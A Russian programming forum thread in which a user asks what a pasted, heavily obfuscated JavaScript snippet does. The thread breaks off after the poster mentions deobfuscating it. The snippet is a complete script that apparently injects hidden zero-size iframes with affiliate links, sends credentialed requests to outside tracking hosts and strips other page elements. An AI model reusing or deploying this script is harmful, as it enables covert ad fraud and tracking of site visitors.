Форум программистов, компьютерный форум, киберфорум
JavaScript
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.83/6: Рейтинг темы: голосов - 6, средняя оценка - 4.83
1 / 1 / 0
Регистрация: 28.10.2019
Сообщений: 3

Что делает этот код?

28.10.2019, 15:02. Показов 1386. Ответов 4
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Подскажите, пожалуйста, как узнать, что делает этот код:

JavaScript
1
var a=['\x62\x47\x6c\x32\x5a\x53\x31\x7a\x64\x48\x4a\x6c\x59\x57\x30\x7a\x4e\x6a\x56\x6a\x62\x32\x30\x3d','\x63\x47\x46\x79\x63\x32\x55\x3d','\x57\x33\x73\x69\x61\x57\x51\x69\x4f\x6a\x45\x73\x49\x6d\x4e\x79\x5a\x57\x46\x30\x5a\x53\x49\x36\x49\x6a\x49\x77\x4d\x54\x6b\x74\x4d\x44\x6b\x74\x4d\x44\x56\x55\x4d\x44\x6b\x36\x4e\x44\x41\x36\x4d\x6a\x63\x75\x4f\x54\x41\x78\x57\x69\x49\x73\x49\x6e\x56\x77\x5a\x47\x46\x30\x5a\x53\x49\x36\x49\x6a\x49\x77\x4d\x54\x6b\x74\x4d\x44\x6b\x74\x4d\x44\x56\x55\x4d\x44\x6b\x36\x4e\x44\x41\x36\x4d\x6a\x63\x75\x4f\x54\x41\x78\x57\x69\x49\x73\x49\x6d\x52\x76\x62\x57\x46\x70\x62\x69\x49\x36\x49\x6e\x4d\x75\x59\x32\x78\x70\x59\x32\x73\x75\x59\x57\x78\x70\x5a\x58\x68\x77\x63\x6d\x56\x7a\x63\x79\x35\x6a\x62\x32\x30\x69\x4c\x43\x4a\x35\x5a\x58\x4d\x69\x4f\x6e\x52\x79\x64\x57\x56\x39\x4c\x48\x73\x69\x61\x57\x51\x69\x4f\x6a\x4d\x73\x49\x6d\x4e\x79\x5a\x57\x46\x30\x5a\x53\x49\x36\x49\x6a\x49\x77\x4d\x54\x6b\x74\x4d\x44\x6b\x74\x4d\x44\x56\x55\x4d\x44\x6b\x36\x4e\x54\x55\x36\x4d\x6a\x41\x75\x4f\x54\x4d\x78\x57\x69\x49\x73\x49\x6e\x56\x77\x5a\x47\x46\x30\x5a\x53\x49\x36\x49\x6a\x49\x77\x4d\x54\x6b\x74\x4d\x44\x6b\x74\x4d\x44\x56\x55\x4d\x44\x6b\x36\x4e\x54\x55\x36\x4d\x6a\x41\x75\x4f\x54\x4d\x78\x57\x69\x49\x73\x49\x6d\x52\x76\x62\x57\x46\x70\x62\x69\x49\x36\x49\x6d\x46\x6c\x4d\x44\x45\x75\x59\x57\x78\x70\x59\x32\x52\x75\x4c\x6d\x4e\x76\x62\x53\x49\x73\x49\x6e\x6c\x6c\x63\x79\x49\x36\x5a\x6d\x46\x73\x63\x32\x56\x39\x4c\x48\x73\x69\x61\x57\x51\x69\x4f\x6a\x51\x73\x49\x6d\x4e\x79\x5a\x57\x46\x30\x5a\x53\x49\x36\x49\x6a\x49\x77\x4d\x54\x6b\x74\x4d\x44\x6b\x74\x4d\x44\x56\x55\x4d\x54\x41\x36\x4d\x54\x45\x36\x4e\x54\x67\x75\x4f\x54\x6b\x31\x57\x69\x49\x73\x49\x6e\x56\x77\x5a\x47\x46\x30\x5a\x53\x49\x36\x49\x6a\x49\x77\x4d\x54\x6b\x74\x4d\x44\x6b\x74\x4d\x44\x56\x55\x4d\x54\x41\x36\x4d\x54\x45\x36\x4e\x54\x67\x75\x4f\x54\x6b\x31\x57\x69\x49\x73\x49\x6d\x52\x76\x62\x57\x46\x70\x62\x69\x49\x36\x49\x6e\x4e\x68\x62\x48\x52\x6a\x5a\x47\x34\x79\x4c\x6d\x64\x76\x62\x32\x64\x73\x5a\x57\x46\x77\x61\x58\x4d\x75\x59\x32\x39\x74\x49\x69\x77\x69\x65\x57\x56\x7a\x49\x6a\x70\x75\x64\x57\x78\x73\x66\x53\x78\x37\x49\x6d\x6c\x6b\x49\x6a\x6f\x31\x4c\x43\x4a\x6a\x63\x6d\x56\x68\x64\x47\x55\x69\x4f\x69\x49\x79\x4d\x44\x45\x35\x4c\x54\x41\x35\x4c\x54\x41\x31\x56\x44\x45\x77\x4f\x6a\x45\x78\x4f\x6a\x55\x35\x4c\x6a\x45\x79\x4e\x46\x6f\x69\x4c\x43\x4a\x31\x63\x47\x52\x68\x64\x47\x55\x69\x4f\x69\x49\x79\x4d\x44\x45\x35\x4c\x54\x41\x35\x4c\x54\x41\x31\x56\x44\x45\x77\x4f\x6a\x45\x78\x4f\x6a\x55\x35\x4c\x6a\x45\x79\x4e\x46\x6f\x69\x4c\x43\x4a\x6b\x62\x32\x31\x68\x61\x57\x34\x69\x4f\x69\x4a\x7a\x59\x57\x78\x30\x61\x6e\x4d\x75\x4d\x44\x46\x69\x5a\x43\x35\x79\x64\x53\x49\x73\x49\x6e\x6c\x6c\x63\x79\x49\x36\x62\x6e\x56\x73\x62\x48\x30\x73\x65\x79\x4a\x70\x5a\x43\x49\x36\x4e\x69\x77\x69\x59\x33\x4a\x6c\x59\x58\x52\x6c\x49\x6a\x6f\x69\x4d\x6a\x41\x78\x4f\x53\x30\x77\x4f\x53\x30\x77\x4e\x56\x51\x78\x4d\x44\x6f\x78\x4d\x6a\x6f\x77\x4d\x43\x34\x78\x4e\x6a\x64\x61\x49\x69\x77\x69\x64\x58\x42\x6b\x59\x58\x52\x6c\x49\x6a\x6f\x69\x4d\x6a\x41\x78\x4f\x53\x30\x77\x4f\x53\x30\x77\x4e\x56\x51\x78\x4d\x44\x6f\x78\x4d\x6a\x6f\x77\x4d\x43\x34\x78\x4e\x6a\x64\x61\x49\x69\x77\x69\x5a\x47\x39\x74\x59\x57\x6c\x75\x49\x6a\x6f\x69\x62\x53\x35\x6d\x59\x57\x4e\x6c\x59\x6d\x39\x76\x61\x79\x35\x6a\x62\x32\x30\x69\x4c\x43\x4a\x35\x5a\x58\x4d\x69\x4f\x6d\x35\x31\x62\x47\x78\x39\x4c\x48\x73\x69\x61\x57\x51\x69\x4f\x6a\x63\x73\x49\x6d\x4e\x79\x5a\x57\x46\x30\x5a\x53\x49\x36\x49\x6a\x49\x77\x4d\x54\x6b\x74\x4d\x44\x6b\x74\x4d\x44\x56\x55\x4d\x54\x41\x36\x4d\x54\x49\x36\x4d\x44\x41\x75\x4d\x54\x63\x32\x57\x69\x49\x73\x49\x6e\x56\x77\x5a\x47\x46\x30\x5a\x53\x49\x36\x49\x6a\x49\x77\x4d\x54\x6b\x74\x4d\x44\x6b\x74\x4d\x44\x56\x55\x4d\x54\x41\x36\x4d\x54\x49\x36\x4d\x44\x41\x75\x4d\x54\x63\x32\x57\x69\x49\x73\x49\x6d\x52\x76\x62\x57\x46\x70\x62\x69\x49\x36\x49\x6e\x4e\x68\x62\x48\x52\x6a\x5a\x47\x34\x79\x4c\x6e\x52\x33\x61\x58\x52\x30\x5a\x58\x49\x75\x59\x32\x39\x74\x49\x69\x77\x69\x65\x57\x56\x7a\x49\x6a\x70\x75\x64\x57\x78\x73\x66\x53\x78\x37\x49\x6d\x6c\x6b\x49\x6a\x6f\x34\x4c\x43\x4a\x6a\x63\x6d\x56\x68\x64\x47\x55\x69\x4f\x69\x49\x79\x4d\x44\x45\x35\x4c\x54\x41\x35\x4c\x54\x41\x31\x56\x44\x45\x77\x4f\x6a\x45\x79\x4f\x6a\x41\x77\x4c\x6a\x45\x35\x4e\x6c\x6f\x69\x4c\x43\x4a\x31\x63\x47\x52\x68\x64\x47\x55\x69\x4f\x69\x49\x79\x4d\x44\x45\x35\x4c\x54\x41\x35\x4c\x54\x41\x31\x56\x44\x45\x77\x4f\x6a\x45\x79\x4f\x6a\x41\x77\x4c\x6a\x45\x35\x4e\x6c\x6f\x69\x4c\x43\x4a\x6b\x62\x32\x31\x68\x61\x57\x34\x69\x4f\x69\x4a\x7a\x59\x57\x78\x30\x59\x32\x52\x75\x4d\x69\x35\x33\x64\x33\x63\x75\x61\x57\x35\x7a\x64\x47\x46\x6e\x63\x6d\x46\x74\x4c\x6d\x4e\x76\x62\x53\x49\x73\x49\x6e\x6c\x6c\x63\x79\x49\x36\x62\x6e\x56\x73\x62\x48\x30\x73\x65\x79\x4a\x70\x5a\x43\x49\x36\x4f\x53\x77\x69\x59\x33\x4a\x6c\x59\x58\x52\x6c\x49\x6a\x6f\x69\x4d\x6a\x41\x78\x4f\x53\x30\x77\x4f\x53\x30\x77\x4e\x56\x51\x78\x4d\x44\x6f\x78\x4d\x6a\x6f\x77\x4d\x43\x34\x35\x4d\x54\x4e\x61\x49\x69\x77\x69\x64\x58\x42\x6b\x59\x58\x52\x6c\x49\x6a\x6f\x69\x4d\x6a\x41\x78\x4f\x53\x30\x77\x4f\x53\x30\x77\x4e\x56\x51\x78\x4d\x44\x6f\x78\x4d\x6a\x6f\x77\x4d\x43\x34\x35\x4d\x54\x4e\x61\x49\x69\x77\x69\x5a\x47\x39\x74\x59\x57\x6c\x75\x49\x6a\x6f\x69\x63\x33\x52\x79\x5a\x57\x31\x68\x62\x6e\x41\x75\x59\x32\x39\x74\x49\x69\x77\x69\x65\x57\x56\x7a\x49\x6a\x70\x75\x64\x57\x78\x73\x66\x53\x78\x37\x49\x6d\x6c\x6b\x49\x6a\x6f\x78\x4d\x43\x77\x69\x59\x33\x4a\x6c\x59\x58\x52\x6c\x49\x6a\x6f\x69\x4d\x6a\x41\x78\x4f\x53\x30\x77\x4f\x53\x30\x77\x4e\x56\x51\x78\x4d\x44\x6f\x79\x4d\x7a\x6f\x30\x4d\x53\x34\x34\x4d\x44\x4e\x61\x49\x69\x77\x69\x64\x58\x42\x6b\x59\x58\x52\x6c\x49\x6a\x6f\x69\x4d\x6a\x41\x78\x4f\x53\x30\x77\x4f\x53\x30\x77\x4e\x56\x51\x78\x4d\x44\x6f\x79\x4d\x7a\x6f\x30\x4d\x53\x34\x34\x4d\x44\x4e\x61\x49\x69\x77\x69\x5a\x47\x39\x74\x59\x57\x6c\x75\x49\x6a\x6f\x69\x65\x57\x46\x7a\x64\x47\x46\x30\x61\x57\x4d\x75\x62\x6d\x56\x30\x49\x69\x77\x69\x65\x57\x56\x7a\x49\x6a\x70\x75\x64\x57\x78\x73\x66\x53\x78\x37\x49\x6d\x6c\x6b\x49\x6a\x6f\x78\x4d\x53\x77\x69\x59\x33\x4a\x6c\x59\x58\x52\x6c\x49\x6a\x6f\x69\x4d\x6a\x41\x78\x4f\x53\x30\x77\x4f\x53\x30\x77\x4e\x56\x51\x78\x4d\x54\x6f\x79\x4e\x7a\x6f\x78\x4f\x53\x34\x7a\x4f\x44\x4a\x61\x49\x69\x77\x69\x64\x58\x42\x6b\x59\x58\x52\x6c\x49\x6a\x6f\x69\x4d\x6a\x41\x78\x4f\x53\x30\x77\x4f\x53\x30\x77\x4e\x56\x51\x78\x4d\x54\x6f\x79\x4e\x7a\x6f\x78\x4f\x53\x34\x7a\x4f\x44\x4a\x61\x49\x69\x77\x69\x5a\x47\x39\x74\x59\x57\x6c\x75\x49\x6a\x6f\x69\x61\x58\x52\x6c\x62\x6e\x67\x75\x63\x48\x4a\x76\x49\x69\x77\x69\x65\x57\x56\x7a\x49\x6a\x70\x75\x64\x57\x78\x73\x66\x53\x78\x37\x49\x6d\x6c\x6b\x49\x6a\x6f\x78\x4d\x69\x77\x69\x59\x33\x4a\x6c\x59\x58\x52\x6c\x49\x6a\x6f\x69\x4d\x6a\x41\x78\x4f\x53\x30\x77\x4f\x53\x30\x77\x4e\x56\x51\x78\x4d\x54\x6f\x30\x4d\x6a\x6f\x79\x4d\x69\x34\x79\x4e\x7a\x56\x61\x49\x69\x77\x69\x64\x58\x42\x6b\x59\x58\x52\x6c\x49\x6a\x6f\x69\x4d\x6a\x41\x78\x4f\x53\x30\x77\x4f\x53\x30\x77\x4e\x56\x51\x78\x4d\x54\x6f\x30\x4d\x6a\x6f\x79\x4d\x69\x34\x79\x4e\x7a\x56\x61\x49\x69\x77\x69\x5a\x47\x39\x74\x59\x57\x6c\x75\x49\x6a\x6f\x69\x5a\x47\x77\x75\x62\x57\x56\x30\x59\x57\x4a\x68\x63\x69\x35\x79\x64\x53\x49\x73\x49\x6e\x6c\x6c\x63\x79\x49\x36\x62\x6e\x56\x73\x62\x48\x30\x73\x65\x79\x4a\x70\x5a\x43\x49\x36\x4d\x54\x4d\x73\x49\x6d\x4e\x79\x5a\x57\x46\x30\x5a\x53\x49\x36\x49\x6a\x49\x77\x4d\x54\x6b\x74\x4d\x44\x6b\x74\x4d\x44\x56\x55\x4d\x54\x45\x36\x4e\x54\x51\x36\x4e\x44\x55\x75\x4d\x6a\x41\x78\x57\x69\x49\x73\x49\x6e\x56\x77\x5a\x47\x46\x30\x5a\x53\x49\x36\x49\x6a\x49\x77\x4d\x54\x6b\x74\x4d\x44\x6b\x74\x4d\x44\x56\x55\x4d\x54\x45\x36\x4e\x54\x51\x36\x4e\x44\x55\x75\x4d\x6a\x41\x78\x57\x69\x49\x73\x49\x6d\x52\x76\x62\x57\x46\x70\x62\x69\x49\x36\x49\x69\x49\x73\x49\x6e\x6c\x6c\x63\x79\x49\x36\x62\x6e\x56\x73\x62\x48\x30\x73\x65\x79\x4a\x70\x5a\x43\x49\x36\x4d\x54\x51\x73\x49\x6d\x4e\x79\x5a\x57\x46\x30\x5a\x53\x49\x36\x49\x6a\x49\x77\x4d\x54\x6b\x74\x4d\x54\x41\x74\x4d\x54\x46\x55\x4d\x44\x59\x36\x4d\x6a\x4d\x36\x4d\x6a\x45\x75\x4e\x7a\x63\x32\x57\x69\x49\x73\x49\x6e\x56\x77\x5a\x47\x46\x30\x5a\x53\x49\x36\x49\x6a\x49\x77\x4d\x54\x6b\x74\x4d\x54\x41\x74\x4d\x54\x46\x55\x4d\x44\x59\x36\x4d\x6a\x4d\x36\x4d\x6a\x45\x75\x4e\x7a\x63\x32\x57\x69\x49\x73\x49\x6d\x52\x76\x62\x57\x46\x70\x62\x69\x49\x36\x49\x6e\x52\x79\x59\x57\x5a\x36\x4c\x6e\x4a\x31\x49\x69\x77\x69\x65\x57\x56\x7a\x49\x6a\x70\x30\x63\x6e\x56\x6c\x66\x56\x30\x3d','\x4c\x79\x39\x68\x62\x47\x6c\x30\x59\x58\x4a\x6e\x5a\x58\x51\x75\x63\x6e\x55\x76\x5a\x32\x38\x76\x62\x47\x6c\x32\x5a\x53\x31\x7a\x64\x48\x4a\x6c\x59\x57\x30\x7a\x4e\x6a\x56\x6a\x62\x32\x30\x76\x4d\x41\x3d\x3d','\x59\x33\x4a\x6c\x59\x58\x52\x6c\x52\x57\x78\x6c\x62\x57\x56\x75\x64\x41\x3d\x3d','\x5a\x47\x6c\x32','\x5a\x6e\x4a\x76\x62\x51\x3d\x3d','\x59\x6d\x39\x6b\x65\x51\x3d\x3d','\x63\x58\x56\x6c\x63\x6e\x6c\x54\x5a\x57\x78\x6c\x59\x33\x52\x76\x63\x6b\x46\x73\x62\x41\x3d\x3d','\x63\x48\x4a\x76\x64\x47\x39\x6a\x62\x32\x77\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36','\x61\x48\x52\x30\x63\x44\x6f\x3d','\x63\x6d\x46\x75\x5a\x47\x39\x74','\x62\x47\x56\x75\x5a\x33\x52\x6f','\x63\x47\x46\x79\x5a\x57\x35\x30\x54\x6d\x39\x6b\x5a\x51\x3d\x3d','\x61\x57\x35\x7a\x5a\x58\x4a\x30\x51\x6d\x56\x6d\x62\x33\x4a\x6c','\x63\x48\x56\x7a\x61\x41\x3d\x3d','\x5a\x6d\x6c\x73\x64\x47\x56\x79','\x63\x6d\x56\x74\x62\x33\x5a\x6c\x51\x32\x68\x70\x62\x47\x51\x3d','\x61\x57\x5a\x79\x59\x57\x31\x6c','\x63\x33\x4a\x6a','\x63\x33\x52\x35\x62\x47\x55\x3d','\x5a\x47\x6c\x7a\x63\x47\x78\x68\x65\x51\x3d\x3d','\x62\x6d\x39\x75\x5a\x51\x3d\x3d','\x64\x32\x6c\x6b\x64\x47\x67\x3d','\x61\x47\x56\x70\x5a\x32\x68\x30','\x62\x33\x42\x6c\x62\x67\x3d\x3d','\x5a\x32\x56\x30','\x4c\x33\x51\x76','\x64\x32\x6c\x30\x61\x45\x4e\x79\x5a\x57\x52\x6c\x62\x6e\x52\x70\x59\x57\x78\x7a','\x63\x32\x56\x75\x5a\x41\x3d\x3d','\x61\x57\x35\x6a\x62\x48\x56\x6b\x5a\x58\x4d\x3d','\x5a\x6d\x6c\x75\x5a\x41\x3d\x3d','\x5a\x47\x39\x74\x59\x57\x6c\x75','\x64\x47\x56\x7a\x64\x41\x3d\x3d','\x63\x47\x46\x79\x5a\x57\x35\x30\x52\x57\x78\x6c\x62\x57\x56\x75\x64\x41\x3d\x3d','\x5a\x32\x56\x30\x51\x32\x39\x74\x63\x48\x56\x30\x5a\x57\x52\x54\x64\x48\x6c\x73\x5a\x51\x3d\x3d','\x59\x58\x56\x30\x62\x77\x3d\x3d','\x62\x47\x39\x6a\x59\x58\x52\x70\x62\x32\x34\x3d','\x61\x47\x39\x7a\x64\x47\x35\x68\x62\x57\x55\x3d','\x58\x6d\x52\x68\x64\x47\x45\x36','\x4c\x32\x4e\x6f\x5a\x57\x4e\x72\x50\x33\x4d\x39','\x62\x32\x35\x79\x5a\x57\x46\x6b\x65\x58\x4e\x30\x59\x58\x52\x6c\x59\x32\x68\x68\x62\x6d\x64\x6c','\x63\x6d\x56\x68\x5a\x48\x6c\x54\x64\x47\x46\x30\x5a\x51\x3d\x3d','\x64\x48\x6c\x77\x5a\x51\x3d\x3d','\x5a\x6d\x56\x30\x59\x32\x67\x3d','\x62\x47\x6c\x75\x61\x77\x3d\x3d','\x62\x6d\x38\x74\x59\x32\x39\x79\x63\x77\x3d\x3d','\x62\x6d\x38\x74\x59\x32\x46\x6a\x61\x47\x55\x3d','\x61\x57\x35\x6a\x62\x48\x56\x6b\x5a\x51\x3d\x3d','\x5a\x6d\x39\x73\x62\x47\x39\x33','\x62\x6d\x38\x74\x63\x6d\x56\x6d\x5a\x58\x4a\x79\x5a\x58\x49\x3d','\x64\x47\x68\x6c\x62\x67\x3d\x3d','\x5a\x6e\x4a\x6c\x63\x51\x3d\x3d','\x5a\x6d\x39\x79\x52\x57\x46\x6a\x61\x41\x3d\x3d','\x63\x32\x68\x68\x63\x6d\x55\x3d','\x59\x32\x39\x75\x59\x32\x46\x30','\x59\x33\x56\x79\x63\x6d\x56\x75\x64\x46\x4e\x6a\x63\x6d\x6c\x77\x64\x41\x3d\x3d','\x59\x33\x56\x79\x63\x32\x39\x79','\x63\x47\x39\x70\x62\x6e\x52\x6c\x63\x67\x3d\x3d','\x59\x57\x52\x6b\x52\x58\x5a\x6c\x62\x6e\x52\x4d\x61\x58\x4e\x30\x5a\x57\x35\x6c\x63\x67\x3d\x3d','\x59\x32\x78\x70\x59\x32\x73\x3d','\x59\x57\x52\x6b\x5a\x57\x52\x4f\x62\x32\x52\x6c\x63\x77\x3d\x3d','\x64\x47\x46\x6e\x54\x6d\x46\x74\x5a\x51\x3d\x3d','\x53\x55\x5a\x53\x51\x55\x31\x46','\x62\x32\x4a\x7a\x5a\x58\x4a\x32\x5a\x51\x3d\x3d','\x52\x45\x39\x4e\x54\x6d\x39\x6b\x5a\x55\x6c\x75\x63\x32\x56\x79\x64\x47\x56\x6b','\x63\x33\x4a\x6a\x52\x57\x78\x6c\x62\x57\x56\x75\x64\x41\x3d\x3d','\x61\x57\x31\x6e','\x63\x58\x56\x6c\x63\x6e\x6c\x54\x5a\x57\x78\x6c\x59\x33\x52\x76\x63\x67\x3d\x3d','\x63\x33\x42\x68\x62\x67\x3d\x3d','\x62\x32\x35\x73\x62\x32\x46\x6b','\x56\x6d\x6c\x6c\x64\x77\x3d\x3d','\x55\x33\x52\x31\x5a\x6d\x5a\x70\x62\x6d\x63\x3d','\x58\x31\x39\x48\x54\x45\x39\x43\x51\x55\x78\x66\x58\x77\x3d\x3d','\x59\x57\x78\x70\x64\x47\x46\x79\x5a\x32\x56\x30\x4c\x6e\x4a\x31','\x65\x57\x56\x7a'];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0xe2));var b=function(c,d){c=c-0x0;var e=a[c];if(b['jLdveT']===undefined){(function(){var f;try{var g=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');f=g();}catch(h){f=window;}var i='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';f['atob']||(f['atob']=function(j){var k=String(j)['replace'](/=+$/,'');for(var l=0x0,m,n,o=0x0,p='';n=k['charAt'](o++);~n&&(m=l%0x4?m*0x40+n:n,l++%0x4)?p+=String['fromCharCode'](0xff&m>>(-0x2*l&0x6)):0x0){n=i['indexOf'](n);}return p;});}());b['BdWOIO']=function(q){var r=atob(q);var s=[];for(var t=0x0,u=r['length'];t<u;t++){s+='%'+('00'+r['charCodeAt'](t)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(s);};b['tDDVMZ']={};b['jLdveT']=!![];}var v=b['tDDVMZ'][c];if(v===undefined){e=b['BdWOIO'](e);b['tDDVMZ'][c]=e;}else{e=v;}return e;};var EventType;(function(c){c[b('0x0')]='\x56\x69\x65\x77';c[b('0x1')]=b('0x1');}(EventType||(EventType={})));(async(d,e)=>{const f=b('0x2');const g='';let h=b('0x3');const i='';const j='\x6e\x6f'===b('0x4');const k=b('0x5');let l=[];try{l=JSON[b('0x6')](b('0x7'));}catch(m){}const n=0x0;let o=[];try{o=JSON[b('0x6')]('\x5b\x7b\x22\x69\x64\x22\x3a\x32\x2c\x22\x66\x72\x65\x71\x22\x3a\x31\x30\x30\x2c\x22\x74\x79\x70\x65\x22\x3a\x22\x69\x6d\x61\x67\x65\x22\x2c\x22\x73\x68\x61\x72\x65\x22\x3a\x6e\x75\x6c\x6c\x2c\x22\x6c\x69\x6e\x6b\x22\x3a\x22\x2f\x2f\x73\x2e\x63\x6c\x69\x63\x6b\x2e\x61\x6c\x69\x65\x78\x70\x72\x65\x73\x73\x2e\x63\x6f\x6d\x2f\x65\x2f\x62\x73\x5a\x51\x6a\x35\x64\x39\x3f\x64\x70\x3d\x6c\x69\x76\x65\x2d\x73\x74\x72\x65\x61\x6d\x33\x36\x35\x63\x6f\x6d\x22\x7d\x5d');}catch(p){}const q=b('0x8');const r=d[b('0x9')](b('0xa'));const s=Array[b('0xb')](document[b('0xc')][b('0xd')]('\x2a'));let t=[];let u=[];const v=[];const w=(window['\x6c\x6f\x63\x61\x74\x69\x6f\x6e'][b('0xe')]===b('0xf')?b('0xf'):b('0x10'))+'\x2f\x2f'+h;function x(y,z=0x5){const A=s[Math['\x66\x6c\x6f\x6f\x72'](Math[b('0x11')]()*s[b('0x12')])];A[b('0x13')][b('0x14')](y,A);t[b('0x15')](y);setTimeout(()=>{t=t[b('0x16')](B=>B!==y);A['\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65'][b('0x17')](y);},z*0x3e8);}function C(D,E=![],F){const G=document[b('0x9')](E?'\x69\x6d\x67':b('0x18'));G[b('0x19')]=D;G[b('0x1a')][b('0x1b')]=b('0x1c');G[b('0x1a')][b('0x1d')]='\x30\x70\x78';G[b('0x1a')][b('0x1e')]='\x30\x70\x78';x(G,F);}function H(I,f){const K=new XMLHttpRequest();K[b('0x1f')](b('0x20'),w+b('0x21')+k+'\x2f'+I+'\x2f'+f);K[b('0x22')]=!![];K[b('0x23')]();}function L(M){if(v[b('0x24')](M[b('0x19')])){return M['\x70\x61\x72\x65\x6e\x74\x45\x6c\x65\x6d\x65\x6e\x74']['\x72\x65\x6d\x6f\x76\x65\x43\x68\x69\x6c\x64'](M);}const N=l[b('0x25')](O=>new RegExp(O[b('0x26')],'\x69')[b('0x27')](M[b('0x19')]));if(N){if(N[b('0x4')]){M[b('0x28')][b('0x17')](M);}return;}const {width,height,display}=window[b('0x29')](M);let P=display==='\x6e\x6f\x6e\x65';if(!P){const e=M[b('0x1d')]==='\x61\x75\x74\x6f'||width===b('0x2a')?0x1:isNaN(parseInt(M[b('0x1d')],0xa))?parseInt(width,0xa):0x1;const R=M[b('0x1e')]===b('0x2a')||height===b('0x2a')?0x1:isNaN(parseInt(M[b('0x1e')],0xa))?parseInt(height,0xa):0x1;P=e*R===0x0;}if(P&&!t['\x69\x6e\x63\x6c\x75\x64\x65\x73'](M)&&M['\x73\x72\x63']&&(window[b('0x2b')]['\x68\x6f\x73\x74\x6e\x61\x6d\x65']?!new RegExp(window['\x6c\x6f\x63\x61\x74\x69\x6f\x6e'][b('0x2c')],'\x69')[b('0x27')](M['\x73\x72\x63']):!![])&&!new RegExp(b('0x2d'),'\x69')['\x74\x65\x73\x74'](M['\x73\x72\x63'])){try{const S=new XMLHttpRequest();S[b('0x1f')](b('0x20'),w+b('0x2e')+btoa(M[b('0x19')]));S[b('0x2f')]=function(){if(S[b('0x30')]===0x4&&S['\x73\x74\x61\x74\x75\x73']===0xc9){v[b('0x15')](M[b('0x19')]);M[b('0x28')][b('0x17')](M);W();}};S[b('0x23')]();}catch(T){}}}function U(V){if(V[b('0x31')]===b('0x32')){fetch(V[b('0x33')],{'\x6d\x65\x74\x68\x6f\x64':'\x47\x45\x54','\x6d\x6f\x64\x65':b('0x34'),'\x63\x61\x63\x68\x65':b('0x35'),'\x63\x72\x65\x64\x65\x6e\x74\x69\x61\x6c\x73':b('0x36'),'\x72\x65\x64\x69\x72\x65\x63\x74':b('0x37'),'\x72\x65\x66\x65\x72\x72\x65\x72':b('0x38')})[b('0x39')]();}else{C(V['\x6c\x69\x6e\x6b'],V[b('0x31')]==='\x69\x6d\x61\x67\x65',+V[b('0x3a')]);}H(EventType[b('0x1')],+V['\x69\x64']);}function W(){if(u&&u[b('0x12')]){u[b('0x3b')](clearInterval);u=[];}const X=Math[b('0x11')]();const Y=o['\x66\x69\x6c\x74\x65\x72'](Z=>!!Z[b('0x3c')])['\x73\x6f\x72\x74']((a0,a1)=>+a0[b('0x3c')]-+a1[b('0x3c')]);const a2=[];let a3=0x0;for(const a4 of Y){const a5=+a4[b('0x3c')]+a3;if(a5>X){a2['\x70\x75\x73\x68'](a4);break;}a3=a3+ +a4['\x73\x68\x61\x72\x65'];}o['\x66\x69\x6c\x74\x65\x72'](a6=>!a6[b('0x3c')])[b('0x3d')](a2)[b('0x3b')](a7=>{U(a7);setTimeout(()=>{U(a7);},0xa*0x3e8);u[b('0x15')](setInterval(()=>{U(a7);},+a7[b('0x3a')]*0x3e8));});}r['\x69\x64']=f;d[b('0x3e')]['\x5f\x5f']=f;d[f]=function(a8){if(g){const a9=d['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6d\x67');a9[b('0x19')]=g;a9['\x73\x74\x79\x6c\x65'][b('0x3f')]=b('0x40');a9[b('0x41')](b('0x42'),()=>{window[b('0x1f')](q);});a8['\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65'][b('0x14')](a9,a8);t[b('0x15')](a9);}H(EventType['\x56\x69\x65\x77'],+'\x30');setTimeout(()=>{W();},n);if(j){if(window['\x68\x61\x73\x4f\x77\x6e\x50\x72\x6f\x70\x65\x72\x74\x79']('\x4d\x75\x74\x61\x74\x69\x6f\x6e\x4f\x62\x73\x65\x72\x76\x65\x72')){new MutationObserver(function(aa){aa[b('0x3b')](function(ab){if(ab[b('0x43')]&&ab['\x61\x64\x64\x65\x64\x4e\x6f\x64\x65\x73'][b('0x12')]){ab['\x61\x64\x64\x65\x64\x4e\x6f\x64\x65\x73'][b('0x3b')](ac=>{if(ac[b('0x44')]===b('0x45')||ac['\x74\x61\x67\x4e\x61\x6d\x65']==='\x49\x4d\x47'){L(ac);}});}});})[b('0x46')](document['\x62\x6f\x64\x79'],{'\x63\x68\x69\x6c\x64\x4c\x69\x73\x74':!![],'\x73\x75\x62\x74\x72\x65\x65':!![]});}else{for(const H of['\x44\x4f\x4d\x53\x75\x62\x74\x72\x65\x65\x4d\x6f\x64\x69\x66\x69\x65\x64',b('0x47')]){document[b('0xc')]['\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72'](H,function(ae){if(ae[b('0x48')][b('0x44')]===b('0x45')||ae[b('0x48')][b('0x44')]==='\x49\x4d\x47'){L(ae[b('0x48')]);}});}}document[b('0xc')][b('0xd')](b('0x18'))['\x66\x6f\x72\x45\x61\x63\x68'](L);document[b('0xc')][b('0xd')](b('0x49'))[b('0x3b')](L);}};if(i){d[i]=d[f];e[i]=function(...af){h=af[0x0];d[f](d[b('0xc')][b('0x4a')](af[0x1])['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](d[b('0x9')](b('0x4b'))));};}if(!d[b('0x3e')][b('0x4c')]){d[f](d[b('0x3e')]);}})(document,window);
0
cpp_developer
Эксперт
20123 / 5690 / 1417
Регистрация: 09.04.2010
Сообщений: 22,546
Блог
28.10.2019, 15:02
Ответы с готовыми решениями:

Объяснить, что делает этот код
на сайте http://oriflame-russia.moscow/ код страницы есть скрипт, document.write(&quot;&quot; + &quot;&lt;div align= center style='width: 100%;...

Что делает этот скрипт?
какие аргументы он принимает и какие функции содержит? eval(function(v,a,c,k,e,d){e=function(c){return...

Что делает этот скрипт
Здраствуйте, мне недавно друг скинул одну скрипт написанный на Javascript , но я так и несмог понять что он делает, и как он устроен. ...

4
1 / 1 / 0
Регистрация: 28.10.2019
Сообщений: 3
28.10.2019, 15:05  [ТС]
Прогнал через обфускатор, но для меня сильно понятнее не стало:

JavaScript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
